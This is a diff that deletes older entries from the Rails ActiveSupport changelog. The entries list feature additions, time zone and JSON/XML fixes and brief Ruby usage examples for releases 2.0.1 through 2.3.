-* Reduced load time by deferring configuration of classes using
- ActiveSupport::on_load(:component_name) [YK]
-
-* Rename #metaclass to #singleton_class now that ruby-core has decided [JK]
-
-* New assertions assert_blank and assert_present. #4299 [Juanjo Bazan]
-
-* Use Object#singleton_class instead of #metaclass. Prefer Ruby's choice. [Jeremy Kemper]
-
-* JSON backend for YAJL. Preferred if available. #2666 [Brian Lopez]
-
-* Introduce class_attribute to declare inheritable class attributes. Writing an attribute on a subclass behaves just like overriding the superclass reader method. Unifies and replaces most usage of cattr_accessor, class_inheritable_attribute, superclass_delegating_attribute, and extlib_inheritable_attribute. [Jeremy Kemper, Yehuda Katz]
-
-* Time#- with a DateTime argument behaves the same as with a Time argument, i.e. returns the difference between self and arg as a Float #3476 [Geoff Buesing]
-
-* YAML serialization for OrderedHash. #3608 [Gregor Schmidt]
-
-* Update bundled TZInfo to v0.3.16 [Geoff Buesing]
-
-* Georgetown TimeZone is now mapped to "America/Guyana" instead of "America/Argentina/San_Juan" #1821 [Geoff Buesing, Reuben Sivan]
-
-* Changed the default ActiveSupport.use_standard_json_time_format from false to true and
-ActiveSupport.escape_html_entities_in_json from true to false to match previously announced Rails 3 defaults [DHH]
-
-* Added Object#presence that returns the object if it's #present? otherwise returns nil [DHH/Colin Kelley]
-
-* Add Enumerable#exclude? to bring parity to Enumerable#include? and avoid if !x.include?/else calls [DHH]
-
-* Update Edinburgh TimeZone to use "Europe/London" instead of "Europe/Dublin" #3310 [Phil Ross]
-
-* Update bundled TZInfo to v0.3.15 [Geoff Buesing]
-
-* JSON: +Object#to_json+ calls +as_json+ to coerce itself into something natively encodable like +Hash+, +Integer+, or +String+. Override +as_json+ instead of +to_json+ so you're JSON library agnostic. [Jeremy Kemper]
-
-* String #to_time and #to_datetime: handle fractional seconds #864 [Jason Frey]
-
-* Update bundled TZInfo to v0.3.13 [Geoff Buesing]
-
-* Allow MemCacheStore to be initialized with a MemCache-like object instead of addresses and options [Bryan Helmkamp]
-
-* Change spelling of Kyev timezone to Kyiv #2613 [Alexander Dymo]
-
-* Add ActiveSupport.parse_json_times to disable time parsing in JSON backends that don't support it or don't need it. [rick]
-
-* Add pluggable JSON backends with support for the JSON gem. [rick]
- Example: ActiveSupport::JSON.backend = "JSONGem"
-
- All internal Rails JSON encoding is now handled by ActiveSupport::JSON.encode(). Use of #to_json is not recommended, as it may clash with other libraries that overwrite it. However, you can recover Rails specific functionality
- if you really want to use #to_json.
-
- gem 'json'
- ActiveSupport::JSON.backend = "JSONGem"
-
- class ActiveRecord::Base
- alias to_json rails_to_json
- end
-
-* require 'active_support' no longer orders the whole menu of core extensions. Ask for just what you need: e.g. require 'active_support/core/time' to use timezones, durations, and stdlib date/time extensions. [Jeremy Kemper]
-
-* Removed rarely-used DRb cache store. [Jeremy Kemper]
-
-* TimeWithZone.name returns 'Time', to further thwart type checking [Geoff Buesing]
-
-* Time.local instances: Adding 24.hours across the DST boundary adds 24 hours instead of one day #2066 [Michael Curtis]
-
-
-*2.3.2 [Final] (March 15, 2009)*
-
-* XmlMini supports LibXML and Nokogiri backends. #2084, #2190 [Bart ten Brinke, Aaron Patterson]
- Example: XmlMini.backend = 'Nokogiri'
-
-* Vendorize i18n 0.1.3 gem (fixes issues with incompatible character encodings in Ruby 1.9) #2038 [Akira Matsuda]
-
-* Update bundled memcache-client from 1.5.0.5 to 1.6.4.99. See http://www.mikeperham.com/2009/02/15/memcache-client-performance/ [Mike Perham]
-
-* Ruby 1.9.1p0 fix: URI.unescape can decode multibyte chars. #2033 [MOROHASHI Kyosuke]
-
-* Time#to_s(:rfc822) uses #formatted_offset instead of unreliable and non-standard %z directive #1899 [Zachary Zolton]
-
-* Make TimeWithZone#to_formatted_s an alias to TimeWithZone#to_s #1796 [Levin Alexander]
-
-* Introduce Array.wrap(foo) to wrap the argument in an array unless it's already an array. Wraps nil as an empty array. Use instead of Array(foo) and foo.to_a since they treat String as Enumerable. [Jeremy Kemper]
-
-* TimeWithZone#xmlschema accepts optional fraction_digits argument [#1725 state:resolved] [Nicholas Dainty]
-
-* Object#tap shim for Ruby < 1.8.7. Similar to Object#returning, tap yields self then returns self. [Jeremy Kemper]
- array.select { ... }.tap(&:inspect).map { ... }
-
-* TimeWithZone#- gives correct result with wrapped DateTime, and with DateTime argument [Geoff Buesing]
-
-* Updated i18n gem to version 0.1.1 #1635 [Yaroslav Markin]
-
-* Add :allow_nil option to delegate. #1127 [Sergio Gil]
-
-* Add Benchmark.ms convenience method to benchmark realtime in milliseconds. [Jeremy Kemper]
-
-* Updated included memcache-client to the 1.5.0.5 version which includes fixes from fiveruns and 37signals to deal with failover and timeouts #1535 [Joshua Sierles]
-
-* Multibyte: add multibyte-safe Chars#ord rather than falling back to String#ord. #1483 [Jason Cheow]
-
-* I18n support for Array#to_sentence. Introduces support.array.words_connector, .two_words_connector, and .last_word_connector translation keys. #1397 [Akira Matsuda]
-
-* Added ActiveSupport::OrderedHash#each_key and ActiveSupport::OrderedHash#each_value #1410 [Christoffer Sawicki]
-
-* Added ActiveSupport::MessageVerifier and MessageEncryptor to aid users who need to store signed and/or encrypted messages. [Michael Koziarski]
-
-* Added ActiveSupport::BacktraceCleaner to cut down on backtrace noise according to filters and silencers [David Heinemeier Hansson]
-
-* Added Object#try. ( Taken from http://ozmm.org/posts/try.html ) [Chris Wanstrath]
-
-* Added Enumerable#none? to check that none of the elements match the block #1408 [Damian Janowski]
-
-* TimeZone offset tests: use current_period, to ensure TimeZone#utc_offset is up-to-date [Geoff Buesing]
-
-* Update bundled TZInfo to 0.3.12 [Geoff Buesing]
-
-* Added lambda merging to OptionMerger (especially useful with named_scope and with_options) #726 [Paweł Kondzior]
-
-
-*2.2.1 [RC2] (November 14th, 2008)*
-
-* Increment the version of our altered memcache-client to prevent confusion caused when the 1.5.0 gem is installed.
-
-* Fixed the option merging in Array#to_xml #1126 [Rudolf Gavlas]
-
-* Make I18n::Backend::Simple reload its translations in development mode [David Heinemeier Hansson/Sven Fuchs]
-
-
-*2.2.0 [RC1] (October 24th, 2008)*
-
-* TimeWithZone#freeze: preload instance variables so that we can actually freeze [Geoff Buesing]
-
-* Fix Brasilia timezone #1180 [Marcus Derencius, Kane]
-
-* Time#advance recognizes fractional days and weeks. Deprecate Durations of fractional months and years #970 [Tom Lea]
-
-* Add ActiveSupport::Rescuable module abstracting ActionController::Base rescue_from features. [Norbert Crombach, Pratik Naik]
-
-* Switch from String#chars to String#mb_chars for the unicode proxy. [Manfred Stienstra]
-
- This helps with 1.8.7 compatibility and also improves performance for some operations by reducing indirection.
-
-* TimeWithZone #wday, #yday and #to_date avoid trip through #method_missing [Geoff Buesing]
-
-* Added Time, Date, DateTime and TimeWithZone #past?, #future? and #today? #720 [Clemens Kofler, Geoff Buesing]
-
-* Fixed Sri Jayawardenepura time zone to map to Asia/Colombo [Jamis Buck]
-
-* Added Inflector#parameterize for easy slug generation ("Donald E. Knuth".parameterize => "donald-e-knuth") #713 [Matt Darby]
-
-* Changed cache benchmarking to be reported in milliseconds [David Heinemeier Hansson]
-
-* Fix Ruby's Time marshaling bug in pre-1.9 versions of Ruby: utc instances are now correctly unmarshaled with a utc zone instead of the system local zone [#900 state:resolved] [Luca Guidi, Geoff Buesing]
-
-* Add Array#in_groups which splits or iterates over the array in specified number of groups. #579. [Adrian Mugnolo] Example:
-
- a = (1..10).to_a
- a.in_groups(3) # => [[1, 2, 3, 4], [5, 6, 7, nil], [8, 9, 10, nil]]
- a.in_groups(3, false) # => [[1, 2, 3, 4], [5, 6, 7], [8, 9, 10]]
-
-* Fix TimeWithZone unmarshaling: coerce unmarshaled Time instances to utc, because Ruby's marshaling of Time instances doesn't respect the zone [Geoff Buesing]
-
-* Added Memoizable mixin for caching simple lazy loaded attributes [Josh Peek]
-
-* Move the test related core_ext stuff out of core_ext so it's only loaded by the test helpers. [Michael Koziarski]
-
-* Add Inflection rules for String#humanize. #535 [Dan Manges]
-
- ActiveSupport::Inflector.inflections do |inflect|
- inflect.human(/_cnt$/i, '\1_count')
- end
-
- 'jargon_cnt'.humanize # => 'Jargon count'
-
-* TimeWithZone: when crossing DST boundary, treat Durations of days, months or years as variable-length, and all other values as absolute length. A time + 24.hours will advance exactly 24 hours, but a time + 1.day will advance 23-25 hours, depending on the day. Ensure consistent behavior across all advancing methods [Geoff Buesing]
-
-* Added TimeZone #=~, to support matching zones by regex in time_zone_select. #195 [Ernie Miller]
-
-* Added Array#second through Array#fifth as aliases for Array#[1] through Array#[4] + Array#forty_two as alias for Array[41] [David Heinemeier Hansson]
-
-* Added test/do declaration style testing to ActiveSupport::TestCase [DHH via Jay Fields]
-
-* Added Object#present? which is equivalent to !Object#blank? [David Heinemeier Hansson]
-
-* Added Enumberable#many? to encapsulate collection.size > 1 [David Heinemeier Hansson/Damian Janowski]
-
-* Add more standard Hash methods to ActiveSupport::OrderedHash [Steve Purcell]
-
-* Namespace Inflector, Dependencies, OrderedOptions, and TimeZone under ActiveSupport [Josh Peek]
-
-* Added StringInquirer for doing things like StringInquirer.new("production").production? # => true and StringInquirer.new("production").development? # => false [David Heinemeier Hansson]
-
-* Fixed Date#end_of_quarter to not blow up on May 31st [#289 state:resolved] (Danger)
-
-
-*2.1.0 (May 31st, 2008)*
-
-* TimeZone#to_s shows offset as GMT instead of UTC, because GMT will be more familiar to end users (see time zone selects used by Windows OS, google.com and yahoo.com.) Reverts [8370] [Geoff Buesing]
-
-* Hash.from_xml: datetime xml types overflow to Ruby DateTime class when out of range of Time. Adding tests for utc offsets [Geoff Buesing]
-
-* TimeWithZone #+ and #- : ensure overflow to DateTime with Numeric arg [Geoff Buesing]
-
-* Time#to_json: don't convert to utc before encoding. References #175 [Geoff Buesing]
-
-* Remove unused JSON::RESERVED_WORDS, JSON.valid_identifier? and JSON.reserved_word? methods. Resolves #164. [Cheah Chu Yeow]
-
-* Adding Date.current, which returns Time.zone.today if config.time_zone is set; otherwise returns Date.today [Geoff Buesing]
-
-* TimeWithZone: date part getter methods (#year #mon #day etc) are defined on class; no longer relying on method_missing [Geoff Buesing]
-
-* Time.zone.parse return nil for strings with no date information [Geoff Buesing]
-
-* Time.zone.parse respects offset information in string. Resolves #105. [Scott Fleckenstein, Geoff Buesing]
-
-* Added Ruby 1.8 implementation of Process.daemon
-
-* Duration #since and #ago with no argument (e.g., 5.days.ago) return TimeWithZone when config.time_zone is set. Introducing Time.current, which returns Time.zone.now if config.time_zone is set, otherwise just returns Time.now [Geoff Buesing]
-
-* Time#since behaves correctly when passed a Duration. Closes #11527 [kemiller]
-
-* Add #getutc alias for DateTime#utc [Geoff Buesing]
-
-* Refactor TimeWithZone: don't send #since, #ago, #+, #-, #advance through method_missing [Geoff Buesing]
-
-* TimeWithZone respects config.active_support.use_standard_json_time_format [Geoff Buesing]
-
-* Add config.active_support.escape_html_entities_in_json to allow disabling of html entity escaping. [Rick Olson]
-
-* Improve documentation. [Xavier Noria]
-
-* Modified ActiveSupport::Callbacks::Callback#call to accept multiple arguments.
-
-* Time #yesterday and #tomorrow behave correctly crossing DST boundary. Closes #7399 [sblackstone]
-
-* TimeWithZone: Adding tests for dst and leap day edge cases when advancing time [Geoff Buesing]
-
-* TimeWithZone#method_missing: send to utc to advance with dst correctness, otherwise send to time. Adding tests for time calculations methods [Geoff Buesing]
-
-* Add config.active_support.use_standard_json_time_format setting so that Times and Dates export to ISO 8601 dates. [Rick Olson]
-
-* TZInfo: Removing unneeded TimezoneProxy class [Geoff Buesing]
-
-* TZInfo: Removing unneeded TimezoneIndexDefinition, since we're not including Indexes::Timezones [Geoff Buesing]
-
-* Removing unnecessary uses_tzinfo helper from tests, given that TZInfo is now bundled [Geoff Buesing]
-
-* Bundling abbreviated version of TZInfo gem 0.3.8: only the classes and zone definitions required to support Rails time zone features are included. If a recent version of the full TZInfo gem is installed, this will take precedence over the bundled version [Geoff Buesing]
-
-* TimeWithZone#marshal_load does zone lookup via Time.get_zone, so that tzinfo/Olson identifiers are handled [Geoff Buesing]
-
-* Time.zone= accepts TZInfo::Timezone instances and Olson identifiers; wraps result in TimeZone instance [Geoff Buesing]
-
-* TimeWithZone time conversions don't need to be wrapped in TimeOrDateTime, because TZInfo does this internally [Geoff Buesing]
-
-* TimeWithZone#usec returns 0 instead of error when DateTime is wrapped [Geoff Buesing]
-
-* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert]
-
-* Ensure that TimeWithZone#to_yaml works when passed a YAML::Emitter. [Rick Olson]
-
-* Ensure correct TimeWithZone#to_date [Geoff Buesing]
-
-* Make TimeWithZone work with tzinfo 0.2.x: use TZInfo::Timezone#zone_identifier alias for #abbreviation, silence warnings on tests. Raise LoadError when TZInfo version is < 0.2 by sniffing for TZInfo::TimeOrDateTime constant. Move all tzinfo-dependent TimeZone tests into uses_tzinfo block [Geoff Buesing]
-
-* Time, DateTime and TimeWithZone #in_time_zone defaults to Time.zone. Removing now unneeded #in_current_time_zone [Geoff Buesing]
-
-* TZInfo caches Timezone instances in its own internal hash cache, so TimeZone::MAPPING doesn't need to cache them as well [Geoff Buesing]
-
-* Adding TimeZone#parse [Geoff Buesing]
-
-* Adding TimeZone#at and DateTime#to_f [Geoff Buesing]
-
-* TimeWithZone responds to Ruby 1.9 weekday-named query methods [Geoff Buesing]
-
-* TimeWithZone caches TZInfo::TimezonePeriod used for time conversion so that it can be reused, and enforces DST rules correctly when instance is created from a local time [Geoff Buesing]
-
-* Fixed that BufferedLogger should create its own directory if one doesn't already exist #11285 [lotswholetime]
-
-* Fix Numeric time tests broken by DST change by anchoring them to fixed times instead of Time.now. Anchor TimeZone#now DST test to time specified with Time.at instead of Time.local to work around platform differences with Time.local and DST representation [Geoff Buesing]
-
-* Removing unneeded #change_time_zone method from Time, DateTime and TimeWithZone [Geoff Buesing]
-
-* TimeZone #local and #now correctly enforce DST rules [Geoff Buesing]
-
-* TimeWithZone instances correctly enforce DST rules. Adding TimeZone#period_for_utc [Geoff Buesing]
-
-* test_time_with_datetime_fallback expects DateTime.local_offset instead of DateTime.now.offset [Geoff Buesing]
-
-* Adding TimeWithZone #marshal_dump and #marshal_load [Geoff Buesing]
-
-* Add OrderedHash#to_hash [Josh Peek]
-
-* Adding Time#end_of_day, _quarter, _week, and _year. #9312 [Juanjo Bazan, Tarmo Tänav, BigTitus]
-
-* Adding TimeWithZone#between? [Geoff Buesing]
-
-* Time.=== returns true for TimeWithZone instances [Geoff Buesing]
-
-* TimeWithZone #+ and #- behave consistently with numeric arguments regardless of whether wrapped time is a Time or DateTime; consistenty answers false to #acts_like?(:date) [Geoff Buesing]
-
-* Add String#squish and String#squish! to remove consecutive chunks of whitespace. #11123 [Jordi Bunster, Henrik N]
-
-* Serialize BigDecimals as Floats when using to_yaml. #8746 [Ernesto Jimenez]
-
-* Adding TimeWithZone #to_yaml, #to_datetime, #eql? and method aliases for duck-typing compatibility with Time [Geoff Buesing]
-
-* TimeWithZone #in_time_zone returns +self+ if zone argument is the same as #time_zone [Geoff Buesing]
-
-* Adding TimeWithZone #to_a, #to_f, #to_i, #httpdate, #rfc2822 [Geoff Buesing]
-
-* Pruning unneeded TimeWithZone#change_time_zone_to_current [Geoff Buesing]
-
-* Time#zone=, #in_time_zone and #change_time_zone accept a Duration [Geoff Buesing]
-
-* Time#in_time_zone handles Time.local instances correctly [Geoff Buesing]
-
-* Pruning unneeded Time#change_time_zone_to_current. Enhanced docs to #change_time_zone to explain the difference between this method and #in_time_zone [Geoff Buesing]
-
-* TimeZone#new method renamed #local; when used with Time.zone, constructor now reads: Time.zone.local() [Geoff Buesing]
-
-* Added Base64.encode64s to encode values in base64 without the newlines. This makes the values immediately usable as URL parameters or memcache keys without further processing [David Heinemeier Hansson]
-
-* Remove :nodoc: entries around the ActiveSupport test/unit assertions. #10946 [dancroak, jamesh]
-
-* Add Time.zone_default accessor for setting the default time zone. Rails::Configuration.time_zone sets this. #10982 [Geoff Buesing]
-
-* cache.fetch(key, :force => true) to force a cache miss. [Jeremy Kemper]
-
-* Support retrieving TimeZones with a Duration. TimeZone[-28800] == TimeZone[-480.minutes]. [Rick Olson]
-
-* TimeWithZone#- added, so that #- can handle a Time or TimeWithZone argument correctly [Geoff Buesing]
-
-* with_timezone test helper renamed with_env_tz, to distinguish between setting ENV['TZ'] and setting Time.zone in tests [Geoff Buesing]
-
-* Time#- coerces TimeWithZone argument to a Time instance so that difference in seconds can be calculated. Closes #10914 [Geoff Buesing, yyyc514]
-
-* Adding UTC zone to TimeZone; TimeWithZone no longer has to fake UTC zone with nil [Geoff Buesing]
-
-* Time.get_zone refactored to private method, given that the encapsulated logic is only useful internally [Geoff Buesing]
-
-* Time.zone uses thread-local variable for thread safety. Adding Time.use_zone, for overriding Time.zone locally inside a block. Removing unneeded Time.zone_reset! [Geoff Buesing]
-
-* TimeZone#to_s uses UTC rather than GMT; reapplying change that was undone in [8679]. #1689 [Cheah Chu Yeow]
-
-* Time.days_in_month defaults to current year if no year is supplied as argument #10799 [Radar], uses Date.gregorian_leap? to determine leap year, and uses constant lookup to determine days in month [Geoff Buesing]
-
-* Adding Time and DateTime #compare_with_coercion, which layers behavior on #<=> so that any combination of Time, DateTime and ActiveSupport::TimeWithZone instances can be chronologically compared [Geoff Buesing]
-
-* TimeZone#now returns an ActiveSupport::TimeWithZone [Geoff Buesing]
-
-* Time #in_current_time_zone and #change_time_zone_to_current return self when Time.zone is nil [Geoff Buesing]
-
-* Remove unneeded #to_datetime_default_s alias for DateTime#to_s, given that we inherit a #to_default_s from Date that does exactly the same thing [Geoff Buesing]
-
-* Refactor Time and DateTime #to_formatted_s: use ternary instead of nested if/else [Geoff Buesing]
-
-* Adding Time and DateTime #formatted_offset, for outputting +HH:MM utc offset strings with cross-platform consistency [Geoff Buesing]
-
-* Adding alternate_utc_string option to TimeZone#formatted_offset. Removing unneeded TimeZone#offset. [Geoff Buesing]
-
-* Introduce ActiveSupport::TimeWithZone, for wrapping Time instances with a TimeZone. Introduce instance methods to Time for creating TimeWithZone instances, and class methods for managing a global time zone. [Geoff Buesing]
-
-* Replace non-dst-aware TimeZone class with dst-aware class from tzinfo_timezone plugin. TimeZone#adjust and #unadjust are no longer available; tzinfo gem must now be present in order to perform time zone calculations, via #local_to_utc and #utc_to_local methods. [Geoff Buesing]
-
-* Extract ActiveSupport::Callbacks from Active Record, test case setup and teardown, and ActionController::Dispatcher. #10727 [Josh Peek]
-
-* Introducing DateTime #utc, #utc? and #utc_offset, for duck-typing compatibility with Time. Closes #10002 [Geoff Buesing]
-
-* Time#to_json uses Numeric#to_utc_offset_s to output a cross-platform-consistent representation without having to convert to DateTime. References #9750 [Geoff Buesing]
-
-* Refactor number-to-HH:MM-string conversion logic from TimeZone#formatted_offset to a reusable Numeric#to_utc_offset_s method. [Geoff Buesing]
-
-* Continue evolution toward ActiveSupport::TestCase. #10679 [Josh Peek]
-
-* TestCase: introduce declared setup and teardown callbacks. Pass a list of methods and an optional block to call before setup or after teardown. Setup callbacks are run in the order declared; teardown callbacks are run in reverse. [Jeremy Kemper]
-
-* Added ActiveSupport::Gzip.decompress/compress(source) as an easy wrapper for Zlib [Tobias Lütke]
-
-* Included MemCache-Client to make the improved ActiveSupport::Cache::MemCacheStore work out of the box [Bob Cottrell, Eric Hodel]
-
-* Added ActiveSupport::Cache::* framework as an extraction from ActionController::Caching::Fragments::* [David Heinemeier Hansson]
-
-* Fixed String#titleize to work for strings with 's too #10571 [trek]
-
-* Changed the implementation of Enumerable#group_by to use a double array approach instead of a hash such that the insert order is honored [David Heinemeier Hansson/Marcel Molina Jr.]
-
-* remove multiple enumerations from ActiveSupport::JSON#convert_json_to_yaml when dealing with date/time values. [Rick Olson]
-
-* Hash#symbolize_keys skips keys that can't be symbolized. #10500 [Brad Greenlee]
-
-* Ruby 1.9 compatibility. #1689, #10466, #10468, #10554, #10594, #10632 [Cheah Chu Yeow, Pratik Naik, Jeremy Kemper, Dirkjan Bussink, Xavier Noria]
-
-* TimeZone#to_s uses UTC rather than GMT. #1689 [Cheah Chu Yeow]
-
-* Refactor of Hash#symbolize_keys! to use Hash#replace. Closes #10420 [ReinH]
-
-* Fix HashWithIndifferentAccess#to_options! so it doesn't clear the options hash. Closes #10419 [ReinH]
-
-
-*2.0.1* (December 7th, 2007)
-
-* Added Array#from and Array#to that behaves just from String#from and String#to [David Heinemeier Hansson]
-
-* Fix that empty collections should be treated as empty arrays regardless of whitespace for Hash#from_xml #10255 [adamj]
-
-* Time#time_with_datetime_fallback, Time#to_datetime, Date#to_datetime and String#to_datetime honor Ruby's default calendar reform setting. #10201 [Geoff Buesing]
-
-* Change Time and DateTime #end_of_month to return last second of month instead of beginning of last day of month. Closes #10200 [Geoff Buesing]
-
-* Speedup String#blank? [Jeremy Kemper, Michael Koziarski]
-
-* Add documentation for Hash#diff. Closes #9306 [Tarmo Tänav]
-
-* Add new superclass_delegating_accessors. Similar to class inheritable attributes but with subtly different semantics. [Michael Koziarski, Tarmo Tänav]
-
-* Change JSON to encode %w(< > &) as 4 digit hex codes to be in compliance with the JSON spec. Closes #9975 [Josh Peek, Cheah Chu Yeow, Tim Pope]
-
-* Fix JSON encoding/decoding bugs dealing with /'s. Closes #9990 [Rick Olson, theamazingrando]
-
-* Introduce a base class for all test cases used by rails applications. ActiveSupport::TestCase [Michael Koziarski]
-
- The intention is to use this to reduce the amount of monkeypatching / overriding that
- is done to test/unit's classes.
-
-* Document Enumerable and Hash #to_json. #9970 [Cheah Chu Yeow]
-
-* Hash#to_xml handles symbol values. #9954 [Assaf]
-
-* Hash#symbolize_keys behaves well with integer keys. #9890 [PotatoSalad]
-
-* Multibyte: String#slice supports regexp argument. #9646 [yob]
-
-* object.duplicable? returns true if object.dup is safe. False for nil, true, false, symbols, and numbers; true otherwise. #9333 [sur]
-
-* Time, Date and DateTime #advance accept :weeks option. #9866 [Geoff Buesing]
-
-* Fix Time#years_ago and #years_since from leap days. #9865 [Geoff Buesing]
-
-* Time and DateTime#advance accept :hours, :minutes, and :seconds options. #9825 [Geoff Buesing]
-
-* Fix Date#years_ago and #years_since from leap days. #9864 [Geoff Buesing]
-
-* Refactor Time and Date#months_since and #months_ago to use #advance. #9863 [Geoff Buesing]
-
-* Rebundle Builder 2.1.2 but prefer a newer RubyGem if available. [Jeremy Kemper]
-
-* Add Range#overlaps?(range), Range#include?(range), and Range#step without a block. [brandon]
-
-* Correct BufferedLogger#level? checks. #9806 [wildchild, Johan Sorensen]
-
-* String#to_xs uses Eric Wong's fast_xs extension, if available, for Builder speedup. http://bogomips.org/fast_xs/ [Jeremy Kemper]
-
-* Introduce BasicObject as Builder::BlankSlate for Ruby 1.9 forward compatibility. [Jeremy Kemper]
-
-* Unbundle Builder in favor of a gem dependency. [Jeremy Kemper]
-
-* Disambiguate Time, Date, and DateTime#to_json formatting. #9750 [Geoff Buesing, Cheah Chu Yeow]
-
-* Hash#to_json takes :only or :except options to specific or omit certain hash keys. Enumerable#to_json passes through its options to each element. #9751 [Cheah Chu Yeow]
-
-* BufferedLogger#auto_flushing = N flushes the log every N messages. Buffers with an array instead of string. Disabling auto_flushing still flushes when the buffer hits a maximum size, as a failsafe against memory-gobbling. [Jeremy Kemper]
-
-* Fixed Date#xmlschema for dates outside the range of what can be created with Time #9744 [Geoff Buesing]
-
-* Fixed that La Paz was included in -25200 and -14400 offsets when it should only be in -14400 #9735 [bermi]
-
-* Fixed JSON encoding to use quoted keys according to the JSON standard. #8762 [choonkat, Cheah Chu Yeow]
-
-* Alias Object#send to send! for Ruby 1.9 forward compatibility. [Jeremy Kemper]
-
-* Backport Object#instance_variable_defined? for Ruby < 1.8.6. [Jeremy Kemper]
-
-* BufferedLogger#add converts the message to a string. #9702, #9724 [eigentone, DrMark, Tom Ward]
-
-* Added ActiveSupport::BufferedLogger as a duck-typing alternative (albeit with no formatter) to the Ruby Logger, which provides a very nice speed bump (inspired by Ezra's buffered logger) [David Heinemeier Hansson]
-
-* Object#instance_exec produces fewer garbage methods. [Mauricio Fernandez]
-
-* Decode json strings as Dates/Times if they're using a YAML-compatible format. Closes #9614 [Rick Olson]
-
-* Fixed cache_page to use the request url instead of the routing options when picking a save path. #8614 [Josh Peek]
-
-* Object.subclasses_of includes anonymous subclasses. [Jeremy Kemper]
-
-* Fixed that pluralizing an empty string should return the same empty string, not "s". #7720 [Josh Peek]
-
-* Added call to inspect on non-string classes for the logger #8533 [Coda Hale]
-
-* Deprecation: remove deprecated :mday option from Time, Date, and DateTime#change. [Jeremy Kemper]
-
-* Fix JSON decoder with nested quotes and commas. #9579 [Zach Dennis]
-
-* Hash#to_xml doesn't double-unescape. #8806 [Ezran]
-
-* Added Array#rand #9170 [Norbert Crombach]. Examples:
-
- [].rand # => nil
- ['a'].rand # => 'a'
- [1,2,3].rand # => 1 or 2 or 3
-
-* Deprecation: removed Reloadable. [Jeremy Kemper]
-
-* Make the utf-handler return the correct value for non-matching regular expressions. Closes #9049 [Manfred Stienstra]
-
-* Add ljust, rjust and center to utf8-handler. Closes #9165 [Manfred Stienstra]
-
-* Fix Time#advance bug when trying to advance a year from leap day. Closes #8655 [Geoff Buesing]
-
-* Add support for []= on ActiveSupport::Multibyte::Chars. Closes #9142. [ewan, Manfred Stienstra]
-
-* Added Array#extract_options! to encapsulate the pattern of getting an options hash out of a variable number of parameters. #8759 [Norbert Crombach]
-
-* Let alias_attribute work with attributes with initial capital letters (legacy columns etc). Closes #8596 [mpalmer]
-
-* Added Hash#except which is the inverse of Hash#slice -- return the hash except the keys that are specified [David Heinemeier Hansson]
-
-* Added support for pluralization with a different starting letter than the singular version (cow/kine) #4929 [norri_b/Josh Susser]
-
-* Demote Hash#to_xml to use XmlSimple#xml_in_string so it can't read files or stdin. #8453 [candlerb, Jeremy Kemper]
-
-* Backport clean_logger changes to support ruby 1.8.2 [Mislav Marohnić]
-
-* Added proper handling of arrays #8537 [Josh Susser]
-
- Before:
- Hash.from_xml '<images></images>'
- # => {:images => nil}
-
- Hash.from_xml '<images><image>foo.jpg</image></images>'
- # => {:images => {:image => "foo.jpg"}}
-
- Hash.from_xml '<images><image>foo.jpg</image><image>bar.jpg</image></images>'
- # => {:images => {:image => ["foo.jpg", "bar.jpg"]}}
-
- After:
- Hash.from_xml '<images type="array"></images>'
- # => {:images => []}
-
- Hash.from_xml '<images type="array"><image>foo.jpg</image></images>'
- # => {:images => ["foo.jpg"]}
-
- Hash.from_xml '<images type="array"><image>foo.jpg</image><image>bar.jpg</image></images>'
- # => {:images => ["foo.jpg", "bar.jpg"]}
-
-* Improve Time and Date test coverage. #8646 [Josh Peek]
-
-* Add Date#since, ago, beginning_of_day, and end_of_day. Date + seconds works now. #8575 [Geoff Buesing]
-
-* String#to_time overflows to DateTime. Add String#to_datetime. #8572 [Geoff Buesing]
-
-* Date.yesterday and .tomorrow. #8571 [Geoff Buesing]
-
-* Readable Date and DateTime#inspect. #8570 [Geoff Buesing]
-
-* Move common DateTime calculations to Date. #8536 [Geoff Buesing]
-
-* Added Date#change (like Time#change) [David Heinemeier Hansson]
-
-* DateTime#to_time converts to Time unless out of range. #8512 [Geoff Buesing]
-
-* Date#to_datetime, #to_s(:rfc822). #8512 [Geoff Buesing]
-
-* Time durations use since instead of + for accuracy. #8513 [Geoff Buesing]
-
-* escape <'s and >'s in JSON strings. #8371 [Rick Olson]
-
-* Inflections: MatrixTest -> MatrixTests instead of MatricesTest. #8496 [jbwiv]
-
-* Multibyte strings respond_to the String methods they proxy so they can be duck-typed. #6549 [Tuxie]
-
-* Array#to_xml yields the builder just like Hash and ActiveRecord::Base. #8472 [seth]
-
-* Date, Time, and DateTime support formatting blocks in addition to strftime strings. Introduce :long_ordinal format, e.g. "February 21st, 2005". #8191 [Coda Hale]
-
-* Document Object#blank?. #6491 [Chris Mear]
-
-* Date, Time, and DateTime#to_json. #8399 [wycats]
-
-* Simplify API of assert_difference by passing in an expression that is evaluated before and after the passed in block. See documenation for examples of new API. [Marcel Molina Jr.]
-
-* Added assert_difference and assert_no_difference to test/unit assertions [Tobias Lütke]
-
-* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back [David Heinemeier Hansson]
-
-* Added parsing of file type in Hash.xml_in so you can easily do file uploads with base64 from an API [David Heinemeier Hansson]
-
- <person>
- <name>David</name>
- <avatar type="file" name="me.jpg" content_type="image/jpg">R0lGODlhkACZAPUAAM5lcfjrtMQCG=\n</avatar>
- </person>
-
- ...becomes:
-
- attributes = { :person => { :name => "David", :avatar => #<StringIO> } }
- attributes[:person][:avatar].content_type # => "image/jpg"
- attributes[:person][:avatar].original_filename # => "me.jpg"
- attributes[:person][:avatar].read # => binary data of the file
-
- Which is duck-type compatible with the files that you get when doing multipart uploads through HTML.
-
-* Improved multibyte performance by relying less on exception raising #8159 [Blaine]
-
-* Use XSD-compatible type names for Hash#to_xml and make the converters extendable #8047 [Tim Pope]
-
-* Added yielding of builder in Hash#to_xml [David Heinemeier Hansson]
-
-* Hash#with_indifferent_access now also converts hashes kept in arrays to indifferent access (makes it easier to treat HTML and XML parameters the same) [David Heinemeier Hansson]
-
-* Hash#to_xml supports YAML attributes. #7502 [jonathan]
-
-* Refactor ActiveSupport::JSON to be less obtuse. Add support for JSON decoding by way of Syck with ActiveSupport::JSON.decode(json_string). Prevent hash keys that are JavaScript reserved words from being unquoted during encoding. [Sam Stephenson]
-
-* alias_method_chain preserves the original method's visibility. #7854 [Jonathan Viney]
-
-* Update Dependencies to ignore constants inherited from ancestors. Closes #6951. [Nicholas Seckar]
-
